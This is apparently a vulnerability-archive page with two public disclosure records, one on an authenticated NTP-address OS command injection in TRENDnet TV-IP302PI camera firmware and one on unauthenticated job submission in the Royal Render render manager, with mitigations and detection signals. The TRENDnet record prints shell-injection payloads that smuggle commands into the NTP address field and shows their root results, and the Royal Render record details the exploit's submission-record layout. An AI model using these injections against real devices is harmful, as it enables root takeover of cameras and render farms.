/hunt/msntp -ts 1 -r $(/bin/busybox id > <marker>) &
marker content uid=0(root) gid=0(root) groups=0(root)
marker owner root:root
/hunt/msntp -ts 1 -r `/bin/busybox id > <marker>` &
marker content uid=0(root) gid=0(root) groups=0(root)
marker owner root:root
/hunt/msntp -ts 1 -r 1.1.1.1 &
marker absent - no file created
Three metacharacter vectors each produced a root-owned marker; the benign control
address 1.1.1.1, containing no metacharacter, produced none. Marker filenames are
rendered here in shortened form because the recorded names carried an internal
stage prefix that means nothing to a reader; the ownership, content and presence
of each marker are reported exactly as recorded. The control is not decoration.
The command template already invokes an external binary, /hunt/msntp, so a chroot
harness is a place where a marker could in principle have been created by
something other than the injection: a leftover file, the harness's own tooling, o
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Trendnet | TV-IP302PI firmware |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "TV-IP302PI firmware",
"vendor": "Trendnet",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in TRENDnet\nTV-IP302PI firmware 1.02.38, the closed-source IP surveillance camera from\nTRENDnet (United States). The camera\u0027s application daemon is shipped at\n/hunt/hunt_server: an ARM 32-bit EABI5 version 5TE soft-float binary,\ndynamically linked against /lib/ld-linux.so.3, 4.5 MB and stripped. Its own\nstring pool carries hunt_camera, HuntAudioConverter, HuntDataDirect and\nPPPoE_TV-IP302PI next to the TRENDnet brand identifier, which identifies the\nimage as built on a Hunt Electronic camera platform OEM\u0027d into this model. That\nprovenance matters twice: it tells an operator that the same construction may\nexist in other products built on the same platform, and it tells a reader that\nthis finding is specific to that platform\u0027s binary, its configuration-key name\nand its command template rather than to a generic NTP client.\n\nType and root cause. OS command injection, CWE-78 primary, with CWE-20 improper\ninput validation, and CWE-250 and CWE-269 contributing for the privilege shape.\nAn authenticated administrator who sets the NTP server address has the value\nstored verbatim into the configuration parameter c64_Ntp_Server, at offset 0x9c\ninside the configuration structure. The only validation applied on the way in is\na length cap: 48 bytes (0x30, via func_0x002a9ae0) on the HTTP form path and 64\nbytes on the ONVIF SOAP path. No character is rejected. That same offset is later\nread back by the time-synchronisation path, formatted with %s, unquoted and\nunescaped, into the command template\n\n /hunt/msntp -ts %d -r %s \u0026\n\nand handed to system(), which runs the string through /bin/sh -c. The shell\nre-parses it, so a semicolon, a $(...) command substitution or a backtick pair\ninside what is supposed to be a time-server address terminates the NTP client\ninvocation and starts an arbitrary command in the daemon\u0027s own context. That\ncontext is uid=0(root): the web tier performs no privilege drop, the boa\nconfiguration file shipped in the image declares none, and the runtime\nconfiguration model recovered from the binary contains no unprivileged identity\nfor the web tier to switch to. There is therefore no privilege-escalation stage\nin this chain and none is claimed or needed.\n\nThe chain, link by link, with the offsets from the shipped binary.\n\nLink 1 is a configuration write. The parameter table maps the HTTP form field to\nthe key c64_Ntp_Server, whose set callback at 0x2b668c compares the incoming\nvalue against the stored one, returns early if they match, and otherwise copies\nit into the slot. The decompiled shape is a bare strcpy. On a change the callback\nraises a configuration event, event 2, through func_0x001ecddc. That event is how\nthe rest of the daemon learns that time synchronisation needs re-doing, and it is\nalso why the write itself is the trigger: in the ordinary case no second request\nand no wait for a scheduled resynchronisation is required.\n\nLink 2 is command construction. The event handler at 0x371d88, registered inside\nfcn.002b700c, and the builder at 0x2760d0, called from the call site at 0x286264,\nboth read the same offset config+0x9c that link 1 wrote, and format it:\n\n snprintf(buf, 0x100,\n *p_fmt_at_0x3ded60, /* \"/hunt/msntp -ts %d -r %s \u0026\" */\n *(cfg + 0xe4), /* the -ts flag: server-derived */\n cfg + 0x9c); /* the address: attacker-supplied */\n func_0x001efbac(handle, 10, buf); /* enqueue for the worker */\n\nThere is no quoting of any kind around the %s. The -ts flag comes from cfg+0xe4\nand is not attacker-controlled; the address argument is, completely. That the\nwrite offset and the read offset are the same value is the load-bearing detail of\nthe static half of this work, because it is what ties the tainted input to the\ntainted argument without anyone having to guess at a structure layout.\n\nLink 3 is execution. The enqueue helper func_0x001efbac hands the finished string\nto a queue worker that calls system(buf). The identification of system() as the\nfinal executor is STATIC evidence and is reported as such: system is referenced\nthrough the GOT entry at 0xc274, and that GOT slot is what distinguishes a\nsystem() call site from an execve call site with a prepared argv. No dynamic\nobservation in this research watched the worker choose between the two forms.\nUnder an argv-form invocation the address would have reached msntp as one\nargument element and every shell metacharacter inside it would have been inert\ntext passed to a resolver, which is exactly why that distinction is the whole\nvulnerability rather than an implementation detail.\n\nTwo protocols write one slot, so this is one vulnerability with two sources rather\nthan two vulnerabilities. On the HTTP path the value arrives as POST parameter\nNtpIP to apply.cgi or SetTime.cgi inside an authenticated session. On the ONVIF\npath the same slot is written by the tds:SetNTP handler at 0x286218-0x286264,\nwhich applies its own 64-byte length check, no content check, and then calls\nfcn.002760d0 directly, so on that route the sink sits one call from the entry\npoint instead of being reached through the event dispatch. A fix applied only to\nthe HTTP form leaves the ONVIF entry point open, and the ONVIF path\u0027s larger cap\nis the more comfortable carrier for a longer payload.\n\nWhat validation is present and what is absent. Present: a length cap and nothing\nelse. Absent: any parse of the value as an address, no inet_aton or inet_pton, no\nhostname-syntax check followed by re-serialisation of the resolved name; no\ncharacter allow-list, although for a time-server field the correct alphabet is\nroughly [A-Za-z0-9._:-], which excludes every metacharacter in this chain; no\ndeny-list for the semicolon, pipe, ampersand, dollar sign, backtick, parentheses,\nangle brackets, newline, carriage return or quote characters, so nothing rejects\neven the crudest payload; no quoting or escaping at the interpolation site; and no\nargv-form invocation of /hunt/msntp, which alone would have removed the shell from\nthe picture and made all four preceding items unnecessary. The shape of the defect\nin one line: the value is checked for how long it is and never for what it is. A\nlength cap of that kind exists to protect a fixed-size configuration slot from\noverrunning, and on that job it appears to work. Forty-eight bytes admits every\ninjection form used in this research several times over, the shortest of which is\n17 bytes.\n\nOne sanitization-shaped behaviour that is not one is worth knowing before\nreproducing this: the set callback\u0027s strcmp early-return suppresses the change\nevent when the new value is byte-identical to the stored one, so posting the same\npayload twice does not re-fire the sink. Vary the payload between attempts, for\nexample by changing the marker filename, which costs one byte and changes nothing\nabout the finding.\n\nAuthentication, and what is credited. This is not an unauthenticated\nvulnerability and no unauthenticated variant of it is claimed. Every .cgi request\npasses a fail-closed HTTP Digest gate, with Basic also accepted: the challenge\ngenerator at 0x26be70 emits WWW-Authenticate: Digest, the connection handler at\n0x26ed54 calls it at entry, credentials are evaluated through fcn.00268afc, an\nabsent or wrong credential yields 401 and the handler does not fall through to the\nrequest\u0027s business logic, and the .cgi dispatch runs its authentication check\nthrough func_0026c248. The unauthenticated allow-list recovered from the binary is\na static-content extension list covering html, htm, jpg, css, js, png, gif, txt,\nasp, avi, bmp, cab, exe, mov, swf and xpi, plus one snapshot path, CamImg*.jpg. No\nmember of it is a configuration write and none reaches this sink. Two .cgi routes\nare genuinely unauthenticated, GetVer.cgi returning a version XML document and\nGetLanguage.cgi returning a language pack; both were examined for execution sinks\nand neither calls system() or popen(), so they are useful for fingerprinting only.\nThe unauthenticated surface was swept for a path into the sink and the sweep came\nout negative, which is what makes the authentication statement here a finding\nrather than an assumption. The product\u0027s gate is present, centralised and\nfail-closed, and it is credited as such: this finding is explicitly not CWE-306\nand not CWE-862. The camera gets the gate right and the argument construction\nwrong.\n\nThe principal required is an administrator, and the evidence carries two different\nweights that should not be conflated. The credential requirement is structural and\nfail-closed, read out of the gate\u0027s own control flow. The role requirement\nspecifically is read out of the privilege model recovered from the image, which\ndefines five levels, i_UserPrivilege01 through i_UserPrivilege05, and places NTP\nconfiguration behind the administrator role; it was not differentially tested,\nbecause no account below administrator was available to test with and no\ncomparison was ever run between a low-privilege write and an administrative one.\nThe honest status of the PR:H rating is therefore \"supported by the recovered\nprivilege model\" and nothing stronger, which is why the PR:L reading is published\nbelow as a labelled conditional rather than being papered over.\n\nVerification boundary, stated in full and up front, because it defines what is and\nis not being claimed. No physical camera was used at any point. No TV-IP302PI\nhardware was driven, no firmware image was booted onto hardware, no hunt_server\nprocess was started, no HTTP request was issued to the daemon during any phase of\nthis work, and no request came from a second host. Nothing here is a live-device\nexploit and the research does not present itself as one.\n\nWhat the dynamic half actually was: a replica of the vulnerable call run inside\nthe product\u0027s own extracted root filesystem. The vendor firmware image is an\nunencrypted ZIP container with five streams and the root filesystem in the third;\nthat tree of 251 files was extracted, and on an isolated cloud sandbox the\nresearchers chrooted into it and ran the camera\u0027s own busybox shell under\nqemu-arm-static user-mode ARM emulation, invoking the interpreter explicitly in\nthe form qemu-arm-static /lib/ld-linux.so.3 --library-path /lib /bin/busybox sh -c\n\"\u003ccommand string\u003e\", with binfmt_misc registered for ARM ELF so that a shell inside\nthe chroot could fork and exec the external ARM binaries in the same tree, and\nwith /dev and /proc bind-mounted. What was executed under that harness was the\nexact command string the product\u0027s own builder produces from the product\u0027s own\ntemplate, with attacker-chosen bytes in the address slot, run by the product\u0027s own\nshell in the product\u0027s own root filesystem. Four runs were made, three injection\nforms and one control:\n\n /hunt/msntp -ts 1 -r 1.1.1.1;/bin/busybox id \u003e \u003cmarker\u003e;# \u0026\n marker content uid=0(root) gid=0(root) groups=0(root)\n marker owner root:root\n /hunt/msntp -ts 1 -r $(/bin/busybox id \u003e \u003cmarker\u003e) \u0026\n marker content uid=0(root) gid=0(root) groups=0(root)\n marker owner root:root\n /hunt/msntp -ts 1 -r `/bin/busybox id \u003e \u003cmarker\u003e` \u0026\n marker content uid=0(root) gid=0(root) groups=0(root)\n marker owner root:root\n /hunt/msntp -ts 1 -r 1.1.1.1 \u0026\n marker absent - no file created\n\nThree metacharacter vectors each produced a root-owned marker; the benign control\naddress 1.1.1.1, containing no metacharacter, produced none. Marker filenames are\nrendered here in shortened form because the recorded names carried an internal\nstage prefix that means nothing to a reader; the ownership, content and presence\nof each marker are reported exactly as recorded. The control is not decoration.\nThe command template already invokes an external binary, /hunt/msntp, so a chroot\nharness is a place where a marker could in principle have been created by\nsomething other than the injection: a leftover file, the harness\u0027s own tooling, o"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-250",
"description": "CWE-250",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-269",
"description": "CWE-269",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-306",
"description": "CWE-306",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/34"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/34"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/trendnet-tv-ip302pi-ntp-command-injection-root-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/34"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0500",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/34",
"automated": true,
"contentSha256": "f1ababbd86e55a4e07369d2612db9124e247f99a29e625c6c23008e29a7d1f24",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/34",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-20T02:31:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0500"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0499
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Royal Render 9.1.26b: default-unauthenticated job submission on rrServer TCP 7773 reaches worker-side shell execution as the worker identity, measured root (8.1 High)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Royal
Render 9.1.26b, the closed-source render-farm job manager for VFX and
animation studios from Binary Alchemy (proprietor Holger Schoenberger) of
Ludwigsburg, Germany. Royal Render
is a different product from the Royal Server gateway sold by Royal Apps GmbH
of Austria; the two are unrelated companies sharing one word in their names,
and this disclosure concerns the German render manager only.
The product's central scheduler, rrServer, shipped as the rrServerconsole
binary, listens on TCP 7773 and speaks a custom binary protocol that is not
HTTP. In the state the product ships in, it performs no identity check on a
connection at all. That is the vendor's own documentation speaking, not an
observation of a test instance: the help page shipped inside the
installation tree at files/help/Authorization.html states "By default, the
rrServer does NOT check for a valid user if you connect to the rrServer".
Authorization is an opt-in feature, either a submission whitelist or an
authorization-required-for-all-connections switch, and the
sub/cfg_global/globalconfig.ini that the vendor's own rrSetup_linux
installer writes leaves both off, with nTCPRequiresAuth=false and an empty
nAuthWhiteList. The primary classification is CWE-306 with CWE-1188 co-equal
and CWE-73, plus CWE-250, CWE-284 and CWE-1392 contributing.
Type and root cause. Among the shipped job types is one named Execute with
renderer name Once, defined in render_apps/_config/E01__ExecuteOnce.cfg,
which declares SceneFileExtension= *.bat;*.sh; and whose Linux command line
is the template CommandLine_Lx= <EndsWith(<Scene> , .sh) source > "<Scene>"
<AdditionalCommandlineParam>. For a scene path ending in .sh the worker
resolves that template to source "<Scene>" and runs it in its own shell, in
the current shell rather than as a child process. The scene path reaches the
worker as the length-prefixed UTF-16LE dataset field execOnce.file inside the
compressed job record, and nothing between the socket and the shell
constrains it: no principal exists by default against which a job type could
be filtered, there is no allow-list or canonicalisation against a project
root, no owner or mount check, and no signature of the file being sourced.
The verified submission record is 1387 bytes, a 340-byte header carrying a
little-endian uint32 at offset 0x0e equal to the exact compressed length of
the trailing block, 1047, another at offset 0x12 equal to its exact
decompressed size, 55252, a uint16 length prefix of 23 at 0x1b followed by
the submitter hostname at 0x1d, and a zlib stream with header 78 5e from
offset 0x154. Decompressed, the record holds the job type Execute at offset
32, the renderer fragment ;Once at 596, the server version text rr9.1.26b at
3688, the scene path /tmp/rr_clean_poc.sh as a 20-character UTF-16LE string
at offset 3792, and the key execOnce.file at offsets 7818 and 8324. The
scheduler accepted the credential-free record and answered with a normal
346-byte functional reply rather than a rejection or a challenge.
Execution identity, reported as measured. The worker built and ran source
"/tmp/rr_clean_poc.sh". The marker file produced was 34 bytes, owned
root:root, and a sibling file captured the identity output
uid=0(root) gid=0(root) groups=0(root). Root was reached because the worker
process in the verification deployment was started from a root shell, and
the product enforces no privilege separation between the identity that
receives a job and the identity that executes it, so the honest claim is
arbitrary shell execution as the worker's identity. No shipped artefact
fixes a non-root default worker identity and none mandates root; the ceiling
is deployment-dependent, and the advisory says so wherever the identity
matters.
Verification boundary. Static work was documentary and wire-level rather
than disassembly-based: the shipped job-type configuration, the shipped
Python SDK, and the captured submission record with its decompressed job
data. Dynamic work was a live detonation against an installation made with
the vendor's rrSetup_linux installer with the configuration left as
installed, unlicensed and therefore in two-client demonstration mode, with
the authorization key observed to govern behaviour. The chain was driven
end to end from a second client host on a different network segment, in its
own network namespace with a private-range source address and a hostname
foreign to the scheduler, so remote reachability is demonstrated across a
network boundary rather than argued from a bind address. Two properties of
the run were supplied by the research harness and are stated as such: the
scene script's content and its presence at a worker-readable path, because
the job record carries a path and never file content and no primitive over
TCP 7773 was demonstrated that delivers bytes; and the worker's root start.
The all-interface bind of port 7773 was measured on the test instance, with
no shipped artefact stating the default bind in either direction.
Scoring. The published headline is 8.1 High,
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, Impact at
S:U = 5.873119 and Exploitability = 2.221167, base 8.094286 rounded up.
Attack complexity carries the one precondition the researchers did not
obtain from the product: the record names a path, so attacker-chosen commands
need a script at a worker-readable path, which the harness placed in the
verified run. A conditional reading of 9.8 Critical at AC:L is published
labelled conditional, applying only where an attacker can also write to the
shared render storage the product's own scene-distribution model uses, or
where a structural command-injection observation is confirmed; neither
branch was detonated, so 9.8 is not the headline. Further labelled
conditionals cover a changed-scope reading at 9.1 and 10.0, an
authorization-enabled reading published at all four privilege and complexity
combinations, 8.8, 7.5, 7.2 and 6.6, and a management-network-only reading at
7.5 and 8.8. One structural observation is published as inference and not as
a finding: <AdditionalCommandlineParam> is appended outside the template's
quoting, so shell metacharacters in it would be interpreted by the worker's
shell; the verified record contains no such field in ASCII or UTF-16LE, it
was not executed, and it raises no published score.
Impact. One anonymous submission reaches whichever worker is idle, so the
primitive fans out to the whole farm and to every mount each worker holds;
the executed command inherits the worker's full identity and environment.
Independently of execution, the verified record carries the product's own
destructive post-processing tasks PPDeleteJob and PPDeletebroken, so an
anonymous submitter can also enqueue and destroy queue state. Detection is
weak by construction because every packet is legitimate product traffic; the
usable signals are an Execute or Once job whose execOnce.file names a path
outside recognised project storage, and a configuration audit finding
nTCPRequiresAuth=false with an empty whitelist on any scheduler reachable
beyond a management segment.
Mitigation summary: ship authorization on by default; separate the Execute
and Once job type behind an explicit administrator capability denied by
default; canonicalise and allow-list execOnce.file against project and
shared-storage roots, rejecting symlink escapes and world-writable
directories; pass job arguments as an argument vector or quote every
substitution; run workers as a dedicated unprivileged account; authenticate
the protocol handshake at connect time for every client class; and bind TCP
7773 to the render-management interface as a documented management port.
The proof of concept is Python 3 using only the standard library. It writes
the scene script to the worker-readable path as an explicit local
precondition, removes stale markers, opens one TCP connection to the target
port with no credentials, sends the submission record, reports the reply
length and first bytes, polls for the marker file, and reports its size,
ownership and content together with the captured identity output; it exits
non-zero if no reply or no marker appears, separating a rejected submission
from a worker that did not execute. A dump mode reproduces every job-record
offset cited above.
Full technical analysis and the reproducible proof of concept, published
unconditionally:
https://0day-rubbish.com/blog/royal-render-default-unauthenticated-job-submission-root-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Binary Alchemy, the proprietorship that sells Royal Render, was notified
unconditionally through the single mailbox its legally required imprint
prints and its support page names in words as the
support address, which is the only channel used. The vendor publishes no RFC
9116 security.txt, the request returning 404, and no security page or
vulnerability-disclosure policy was found on the site. Nothing was submitted
to any intake form and no individual was addressed by name. This disclosure
is unconditional: the research is already public, no permission was asked
for, no embargo was requested, and nothing is withheld pending a reply. No
vulnerability identifier has been assigned to this finding yet.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Render",
"vendor": "Royal",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Royal\nRender 9.1.26b, the closed-source render-farm job manager for VFX and\nanimation studios from Binary Alchemy (proprietor Holger Schoenberger) of\nLudwigsburg, Germany. Royal Render\nis a different product from the Royal Server gateway sold by Royal Apps GmbH\nof Austria; the two are unrelated companies sharing one word in their names,\nand this disclosure concerns the German render manager only.\n\nThe product\u0027s central scheduler, rrServer, shipped as the rrServerconsole\nbinary, listens on TCP 7773 and speaks a custom binary protocol that is not\nHTTP. In the state the product ships in, it performs no identity check on a\nconnection at all. That is the vendor\u0027s own documentation speaking, not an\nobservation of a test instance: the help page shipped inside the\ninstallation tree at files/help/Authorization.html states \"By default, the\nrrServer does NOT check for a valid user if you connect to the rrServer\".\nAuthorization is an opt-in feature, either a submission whitelist or an\nauthorization-required-for-all-connections switch, and the\nsub/cfg_global/globalconfig.ini that the vendor\u0027s own rrSetup_linux\ninstaller writes leaves both off, with nTCPRequiresAuth=false and an empty\nnAuthWhiteList. The primary classification is CWE-306 with CWE-1188 co-equal\nand CWE-73, plus CWE-250, CWE-284 and CWE-1392 contributing.\n\nType and root cause. Among the shipped job types is one named Execute with\nrenderer name Once, defined in render_apps/_config/E01__ExecuteOnce.cfg,\nwhich declares SceneFileExtension= *.bat;*.sh; and whose Linux command line\nis the template CommandLine_Lx= \u003cEndsWith(\u003cScene\u003e , .sh) source \u003e \"\u003cScene\u003e\"\n\u003cAdditionalCommandlineParam\u003e. For a scene path ending in .sh the worker\nresolves that template to source \"\u003cScene\u003e\" and runs it in its own shell, in\nthe current shell rather than as a child process. The scene path reaches the\nworker as the length-prefixed UTF-16LE dataset field execOnce.file inside the\ncompressed job record, and nothing between the socket and the shell\nconstrains it: no principal exists by default against which a job type could\nbe filtered, there is no allow-list or canonicalisation against a project\nroot, no owner or mount check, and no signature of the file being sourced.\nThe verified submission record is 1387 bytes, a 340-byte header carrying a\nlittle-endian uint32 at offset 0x0e equal to the exact compressed length of\nthe trailing block, 1047, another at offset 0x12 equal to its exact\ndecompressed size, 55252, a uint16 length prefix of 23 at 0x1b followed by\nthe submitter hostname at 0x1d, and a zlib stream with header 78 5e from\noffset 0x154. Decompressed, the record holds the job type Execute at offset\n32, the renderer fragment ;Once at 596, the server version text rr9.1.26b at\n3688, the scene path /tmp/rr_clean_poc.sh as a 20-character UTF-16LE string\nat offset 3792, and the key execOnce.file at offsets 7818 and 8324. The\nscheduler accepted the credential-free record and answered with a normal\n346-byte functional reply rather than a rejection or a challenge.\n\nExecution identity, reported as measured. The worker built and ran source\n\"/tmp/rr_clean_poc.sh\". The marker file produced was 34 bytes, owned\nroot:root, and a sibling file captured the identity output\nuid=0(root) gid=0(root) groups=0(root). Root was reached because the worker\nprocess in the verification deployment was started from a root shell, and\nthe product enforces no privilege separation between the identity that\nreceives a job and the identity that executes it, so the honest claim is\narbitrary shell execution as the worker\u0027s identity. No shipped artefact\nfixes a non-root default worker identity and none mandates root; the ceiling\nis deployment-dependent, and the advisory says so wherever the identity\nmatters.\n\nVerification boundary. Static work was documentary and wire-level rather\nthan disassembly-based: the shipped job-type configuration, the shipped\nPython SDK, and the captured submission record with its decompressed job\ndata. Dynamic work was a live detonation against an installation made with\nthe vendor\u0027s rrSetup_linux installer with the configuration left as\ninstalled, unlicensed and therefore in two-client demonstration mode, with\nthe authorization key observed to govern behaviour. The chain was driven\nend to end from a second client host on a different network segment, in its\nown network namespace with a private-range source address and a hostname\nforeign to the scheduler, so remote reachability is demonstrated across a\nnetwork boundary rather than argued from a bind address. Two properties of\nthe run were supplied by the research harness and are stated as such: the\nscene script\u0027s content and its presence at a worker-readable path, because\nthe job record carries a path and never file content and no primitive over\nTCP 7773 was demonstrated that delivers bytes; and the worker\u0027s root start.\nThe all-interface bind of port 7773 was measured on the test instance, with\nno shipped artefact stating the default bind in either direction.\n\nScoring. The published headline is 8.1 High,\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, Impact at\nS:U = 5.873119 and Exploitability = 2.221167, base 8.094286 rounded up.\nAttack complexity carries the one precondition the researchers did not\nobtain from the product: the record names a path, so attacker-chosen commands\nneed a script at a worker-readable path, which the harness placed in the\nverified run. A conditional reading of 9.8 Critical at AC:L is published\nlabelled conditional, applying only where an attacker can also write to the\nshared render storage the product\u0027s own scene-distribution model uses, or\nwhere a structural command-injection observation is confirmed; neither\nbranch was detonated, so 9.8 is not the headline. Further labelled\nconditionals cover a changed-scope reading at 9.1 and 10.0, an\nauthorization-enabled reading published at all four privilege and complexity\ncombinations, 8.8, 7.5, 7.2 and 6.6, and a management-network-only reading at\n7.5 and 8.8. One structural observation is published as inference and not as\na finding: \u003cAdditionalCommandlineParam\u003e is appended outside the template\u0027s\nquoting, so shell metacharacters in it would be interpreted by the worker\u0027s\nshell; the verified record contains no such field in ASCII or UTF-16LE, it\nwas not executed, and it raises no published score.\n\nImpact. One anonymous submission reaches whichever worker is idle, so the\nprimitive fans out to the whole farm and to every mount each worker holds;\nthe executed command inherits the worker\u0027s full identity and environment.\nIndependently of execution, the verified record carries the product\u0027s own\ndestructive post-processing tasks PPDeleteJob and PPDeletebroken, so an\nanonymous submitter can also enqueue and destroy queue state. Detection is\nweak by construction because every packet is legitimate product traffic; the\nusable signals are an Execute or Once job whose execOnce.file names a path\noutside recognised project storage, and a configuration audit finding\nnTCPRequiresAuth=false with an empty whitelist on any scheduler reachable\nbeyond a management segment.\n\nMitigation summary: ship authorization on by default; separate the Execute\nand Once job type behind an explicit administrator capability denied by\ndefault; canonicalise and allow-list execOnce.file against project and\nshared-storage roots, rejecting symlink escapes and world-writable\ndirectories; pass job arguments as an argument vector or quote every\nsubstitution; run workers as a dedicated unprivileged account; authenticate\nthe protocol handshake at connect time for every client class; and bind TCP\n7773 to the render-management interface as a documented management port.\n\nThe proof of concept is Python 3 using only the standard library. It writes\nthe scene script to the worker-readable path as an explicit local\nprecondition, removes stale markers, opens one TCP connection to the target\nport with no credentials, sends the submission record, reports the reply\nlength and first bytes, polls for the marker file, and reports its size,\nownership and content together with the captured identity output; it exits\nnon-zero if no reply or no marker appears, separating a rejected submission\nfrom a worker that did not execute. A dump mode reproduces every job-record\noffset cited above.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n https://0day-rubbish.com/blog/royal-render-default-unauthenticated-job-submission-root-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nBinary Alchemy, the proprietorship that sells Royal Render, was notified\nunconditionally through the single mailbox its legally required imprint\nprints and its support page names in words as the\nsupport address, which is the only channel used. The vendor publishes no RFC\n9116 security.txt, the request returning 404, and no security page or\nvulnerability-disclosure policy was found on the site. Nothing was submitted\nto any intake form and no individual was addressed by name. This disclosure\nis unconditional: the research is already public, no permission was asked\nfor, no embargo was requested, and nothing is withheld pending a reply. No\nvulnerability identifier has been assigned to this finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1188",
"description": "CWE-1188",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-1392",
"description": "CWE-1392",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-250",
"description": "CWE-250",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-284",
"description": "CWE-284",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-306",
"description": "CWE-306",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-73",
"description": "CWE-73",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/33"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/33"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/royal-render-default-unauthenticated-job-submission-root-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/33"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Royal Render 9.1.26b: default-unauthenticated job submission on rrServer TCP 7773 reaches worker-side shell execution as the worker identity, measured root (8.1 High)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0499",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/33",
"automated": true,
"contentSha256": "d3a7fb11b06f5696d22aea6f5e238df169f7d07f7e31d89a7ae9bf4cebf8f952",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/33",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-20T02:31:31Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
